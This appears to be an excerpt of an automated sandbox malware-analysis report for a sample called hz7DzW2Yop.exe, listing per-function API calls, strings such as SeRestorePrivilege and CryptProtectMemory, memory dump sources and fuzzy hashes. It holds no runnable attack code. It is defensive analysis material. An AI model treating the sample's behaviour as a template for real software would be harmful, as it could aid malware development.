Instruction ID: e5414c07bfd95badf1e3bf4c96f28f28bcf2448d35dd4a09079852d9d09feb28
Opcode Fuzzy Hash: f08a8bc9e9b8448b5372da9446c7b3415753fbfa5b424dd11f9b7ae570c357a5
Instruction Fuzzy Hash: 4341B43254022AAEEF21AF24CC01FEA77ADAF81390F108565F894A3191DBB5DED08B50

Function 00927F6E Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\hz7DzW2Yop.exe,00000104), ref: 00927FAE
_free.LIBCMT ref: 00928079
_free.LIBCMT ref: 00928083

Strings

C:\Users\user\Desktop\hz7DzW2Yop.exe, xrefs: 00927FA5, 00927FAC, 00927FDB, 00928013
`%t, xrefs: 00927FB4

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\hz7DzW2Yop.exe$`%t
API String ID: 2506810119-2735165847
Opcode ID: 7181e377e33efc890eee826acc383410daff759af31ebed83362214deb41eef3
Instruction ID: 51c3aa9d553fefa48d891dfb3311317a52109556aa97ac09c87aaea022fe474c
Opcode Fuzzy Hash: 7181e377e33efc890eee826acc383410daff759af31ebed83362214deb41eef3
Instruction Fuzzy Hash: F231C271A49228AFDB21DF95E880ADFBBFCEF85310F10406AF804A7215DB718E44CB91

Function 0091B6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 0091B6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 0091B712
DeleteObject.GDI32(00000000), ref: 0091B744
DeleteObject.GDI32(00000000), ref: 0091B767

Part of subcall function 0091A6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,0091B73D,00000066), ref: 0091A6D5
Part of subcall function 0091A6C2: SizeofResource.KERNEL32(00000000,?,?,?,0091B73D,00000066), ref: 0091A6EC
Part of subcall function 0091A6C2: LoadResource.KERNEL32(00000000,?,?,?,0091B73D,00000066), ref: 0091A703
Part of subcall function 0091A6C2: LockResource.KERNEL32(00000000,?,?,?,0091B73D,00000066), ref: 0091A712
Part of subcall function 0091A6C2: GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,0091B73D,00000066), ref: 0091A72D
Part of subcall function 0091A6C2: GlobalLock.KERNEL32(00000000), ref: 0091A73E
Part of subcall function 0091A6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 0091A762
Part of subcall function 0091A6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0091A7A7
Part of subcall function 0091A6C2: GlobalUnlock.KERNEL32(00000000), ref: 0091A7C6
Part of subcall function 0091A6C2: GlobalFree.KERNEL32(00000000), ref: 0091A7CD

Strings

], xrefs: 0091B71A

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 20d7163f5bbdd4008efdfc9f44b72211b67f689054a92dde18da4962521ae95b
Instruction ID: 9122c4670d72a833b307a876ac9d56a6e958f1577af6288e7aa7264c4edef62f
Opcode Fuzzy Hash: 20d7163f5bbdd4008efdfc9f44b72211b67f689054a92dde18da4962521ae95b
Instruction Fuzzy Hash: 7401D236B4120967C7127B749D09BFF7ABE9FC1BA2F080014F910A7295DF758D8952A1

Function 0091D600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00901316: GetDlgItem.USER32(00000000,00003021), ref: 0090135A
Part of subcall function 00901316: SetWindowTextW.USER32(00000000,009335F4), ref: 00901370

EndDialog.USER32(?,00000001), ref: 0091D64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0091D661
SetDlgItemTextW.USER32(?,00000066,?), ref: 0091D675
SetDlgItemTextW.USER32(?,00000068), ref: 0091D684

Strings

RENAMEDLG, xrefs: 0091D618

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: ee6f4f158bae6cf2bc658f6382105f6895bdc89e73d188379ae826732d2b8540
Instruction ID: f3ca84a47a0ed359334510917c2d52c42da0bbe4719f0d8d478e2a6bca8f61af
Opcode Fuzzy Hash: ee6f4f158bae6cf2bc658f6382105f6895bdc89e73d188379ae826732d2b8540
Instruction Fuzzy Hash: F0014C3335E318BBD2114F649D09F9B775CEB9BB82F014414F345A20D0C7E29A48AB75

Function 00927E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00927E24,00000000,?,00927DC4,00000000,0093C300,0000000C,00927F1B,00000000,00000002), ref: 00927E93
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00927EA6
FreeLibrary.KERNEL32(00000000,?,?,?,00927E24,00000000,?,00927DC4,00000000,0093C300,0000000C,00927F1B,00000000,00000002), ref: 00927EC9

Strings

CorExitProcess, xrefs: 00927E9E
mscoree.dll, xrefs: 00927E8C

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: bc92fa935606c5ebcb3150735e36d329a166c45806dfc2b5b9592f93f588e8ad
Instruction ID: bea65607c88fd9fad57e2f3d8d6ac012ebc275b24f64c92fae88c56b42d295ac
Opcode Fuzzy Hash: bc92fa935606c5ebcb3150735e36d329a166c45806dfc2b5b9592f93f588e8ad
Instruction Fuzzy Hash: ABF06831A54218BBCB159FA4DC09B9EFFB9EF44715F0181A9F805A2270DB349E40DEA1

Function 0090F2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0091081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00910836
Part of subcall function 0091081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0090F2D8,Crypt32.dll,00000000,0090F35C,?,?,0090F33E,?,?,?), ref: 00910858

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0090F2E4
GetProcAddress.KERNEL32(009481C8,CryptUnprotectMemory), ref: 0090F2F4

Strings

CryptProtectMemory, xrefs: 0090F2DE
Crypt32.dll, xrefs: 0090F2CE
CryptUnprotectMemory, xrefs: 0090F2EA

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: adad1c31a1ba6dbc943793cac93960888d343e519883b8b978a382cb78f2b83f
Instruction ID: d15557da43c528dc84f9e6b343514d42dec600ffa75758ce6538192a02d07af9
Opcode Fuzzy Hash: adad1c31a1ba6dbc943793cac93960888d343e519883b8b978a382cb78f2b83f
Instruction Fuzzy Hash: 70E026309A47019ECB309F38980CB017AD86F44704F00C86DF0DAD3690C6B9D1808F00

Function 00922BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00922CA1
___AdjustPointer.LIBCMT ref: 00922CC4
_abort.LIBCMT ref: 00922D12
___AdjustPointer.LIBCMT ref: 00922D60

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: b3da4da89dae7c12acf0f7096a15d00543006c0f61e951c798ac3383b6eeb505
Instruction ID: 7462d505dd7e322cc4499f76a96f3c702f546e001f4531f6cf2f67580081cda8
Opcode Fuzzy Hash: b3da4da89dae7c12acf0f7096a15d00543006c0f61e951c798ac3383b6eeb505
Instruction Fuzzy Hash: F151DE72601226BFEB29CF14F845BAA73A8FF94310F24456DEC45472A9E771ED80DB90

Function 0092BF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0092BF39
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0092BF5C

Part of subcall function 00928E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0092CA2C,00000000,?,00926CBE,?,00000008,?,009291E0,?,?,?), ref: 00928E38

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0092BF82
_free.LIBCMT ref: 0092BF95
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0092BFA4

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 7c68c17b9acd8e2d1a2c65c47a2811d91ada1a21d36ac6f00ff65a43053ec6c6
Instruction ID: 548d00d36c7fec9bcdd15158f22c9a5ed9d81c65314d34b8cca207823142f7e9
Opcode Fuzzy Hash: 7c68c17b9acd8e2d1a2c65c47a2811d91ada1a21d36ac6f00ff65a43053ec6c6
Instruction Fuzzy Hash: C901F77261AB317F232126B67D4DDBB6BADDEC2BA03154129F908C2149EF60CD0199B0

Function 00929869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,009291AD,0092B188,?,00929813,00000001,00000364,?,00923F73,00000050,?,00941030,00000200), ref: 0092986E
_free.LIBCMT ref: 009298A3
_free.LIBCMT ref: 009298CA
SetLastError.KERNEL32(00000000,?,00941030,00000200), ref: 009298D7
SetLastError.KERNEL32(00000000,?,00941030,00000200), ref: 009298E0

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: f5f8c4f99974612f773f664e795eb07ca1685db8dcd12802300596f994a974f3
Instruction ID: 6a47fe6af5b776f6934498ac556187b8bf95c114572badf20fa0882afe99d76e
Opcode Fuzzy Hash: f5f8c4f99974612f773f664e795eb07ca1685db8dcd12802300596f994a974f3
Instruction Fuzzy Hash: 350128371586317BD3163334BC89B1B266DEFD3770F290534F515921DAEE348C066561

Function 00910EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 009111CF: ResetEvent.KERNEL32(?), ref: 009111E1
Part of subcall function 009111CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 009111F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00910F21
CloseHandle.KERNEL32(?,?), ref: 00910F3B
DeleteCriticalSection.KERNEL32(?), ref: 00910F54
CloseHandle.KERNEL32(?), ref: 00910F60
CloseHandle.KERNEL32(?), ref: 00910F6C

Part of subcall function 00910FE4: WaitForSingleObject.KERNEL32(?,000000FF,00911206,?), ref: 00910FEA
Part of subcall function 00910FE4: GetLastError.KERNEL32(?), ref: 00910FF6

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 984a978c201e029233b058ca8cb9e18fa259de16167533a22badb9b28872103e
Instruction ID: 9252c9899ba2ac775d4f84f533eda4e700bf67e865bc6c36629ba45554154995
Opcode Fuzzy Hash: 984a978c201e029233b058ca8cb9e18fa259de16167533a22badb9b28872103e
Instruction Fuzzy Hash: 8D01F176544B04FFC7229B64DC85BC6FBA9FB48710F004829F26B92160CBB67A81DF50

Function 0092C7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0092C817

Part of subcall function 00928DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0092C896,?,00000000,?,00000000,?,0092C8BD,?,00000007,?,?,0092CCBA,?), ref: 00928DE2
Part of subcall function 00928DCC: GetLastError.KERNEL32(?,?,0092C896,?,00000000,?,00000000,?,0092C8BD,?,00000007,?,?,0092CCBA,?,?), ref: 00928DF4

_free.LIBCMT ref: 0092C829
_free.LIBCMT ref: 0092C83B
_free.LIBCMT ref: 0092C84D
_free.LIBCMT ref: 0092C85F

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d97b39149886f059d53471229a58e5292a76d957f0f141a4eefafa02ce3a4e95
Instruction ID: e3ad6e5f2ab596ffedb9615d894622ab0c148ad627110a0f2d9de2994604cd3a
Opcode Fuzzy Hash: d97b39149886f059d53471229a58e5292a76d957f0f141a4eefafa02ce3a4e95
Instruction Fuzzy Hash: 60F01D72519220AB9630EB68F88AD1B73EDAA40714B645C19F109D75EACB70FC80CA65

Function 00911FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00911FE5
_wcslen.LIBCMT ref: 00911FF6
_wcslen.LIBCMT ref: 00912006
_wcslen.LIBCMT ref: 00912014
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,0090B371,?,?,00000000,?,?,?), ref: 0091202F

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 7e01d72dfccbe38e7bb811727072b0829f5242249dd24456fa449c0e368e48f9
Instruction ID: 2a4bf6f8a67ff3dac0d3025e5fadbe7b6631377f0e8d9c92a14288a1633085cb
Opcode Fuzzy Hash: 7e01d72dfccbe38e7bb811727072b0829f5242249dd24456fa449c0e368e48f9
Instruction Fuzzy Hash: D7F03032108028BFCF266F51EC09ECE7F26EB85770B12C415F65A5B061CB72DAA5DAD0

Function 00928900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0092891E

Part of subcall function 00928DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0092C896,?,00000000,?,00000000,?,0092C8BD,?,00000007,?,?,0092CCBA,?), ref: 00928DE2
Part of subcall function 00928DCC: GetLastError.KERNEL32(?,?,0092C896,?,00000000,?,00000000,?,0092C8BD,?,00000007,?,?,0092CCBA,?,?), ref: 00928DF4

_free.LIBCMT ref: 00928930
_free.LIBCMT ref: 00928943
_free.LIBCMT ref: 00928954
_free.LIBCMT ref: 00928965

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7dbeb2b03ea0a1ac4162e6809531b739ee7c58ac04e62a86a1a2ab31b40936ce
Instruction ID: e6232b289d740d09096acf352f5f8ccdc6efa713fb4eaff59caff1bb8f523213
Opcode Fuzzy Hash: 7dbeb2b03ea0a1ac4162e6809531b739ee7c58ac04e62a86a1a2ab31b40936ce
Instruction Fuzzy Hash: 47F05E7583AA328BD61A6F14FC0660A3FB5F724710700090EF024922F9CBB94959FF81

Function 009115FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 009117BC
_swprintf.LIBCMT ref: 0091186B

Strings

%s: %s, xrefs: 009117CB
%ls, xrefs: 00911641, 00911657

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: a48e889d572240c306c157aa875fc5fee563ac91549dccf1d20619817d7aa509
Instruction ID: 1540fb88f353aabbf9eeccf7fced555debc07fc8ea48e63f4f8211ff20e77394
Opcode Fuzzy Hash: a48e889d572240c306c157aa875fc5fee563ac91549dccf1d20619817d7aa509
Instruction Fuzzy Hash: FE51FA3538830CFAF7211A908D46FF57269AB45B44F24CD87F386644E1DAA7A4D0AB1F

Function 009231D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 009231FB
_abort.LIBCMT ref: 00923306

Strings

RCC, xrefs: 00923215
MOC, xrefs: 0092320D

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: cb857d34d9297a00ed5f7fc3dccdcc8bab0174c56f2dc077d6472071907b150e
Instruction ID: 82d7b534f6c7706cae5f8da3e91278a7ce2df3fde2a03d4eb61d849da5c7f596
Opcode Fuzzy Hash: cb857d34d9297a00ed5f7fc3dccdcc8bab0174c56f2dc077d6472071907b150e
Instruction Fuzzy Hash: 70415971900229EFCF16DF94EC81AAEBBB9BF48304F148159F91467259D339AA50DB50

Function 00907401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00907406

Part of subcall function 00903BBA: __EH_prolog.LIBCMT ref: 00903BBF

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 009074CD

Part of subcall function 00907A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00907AAB
Part of subcall function 00907A9C: GetLastError.KERNEL32 ref: 00907AF1
Part of subcall function 00907A9C: CloseHandle.KERNEL32(?), ref: 00907B00

Strings

SeSecurityPrivilege, xrefs: 0090744B
SeRestorePrivilege, xrefs: 00907460

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 04fd13159df569d64b51cd06d0983ef767ebb0ac0915cf1973e19e77669f7868
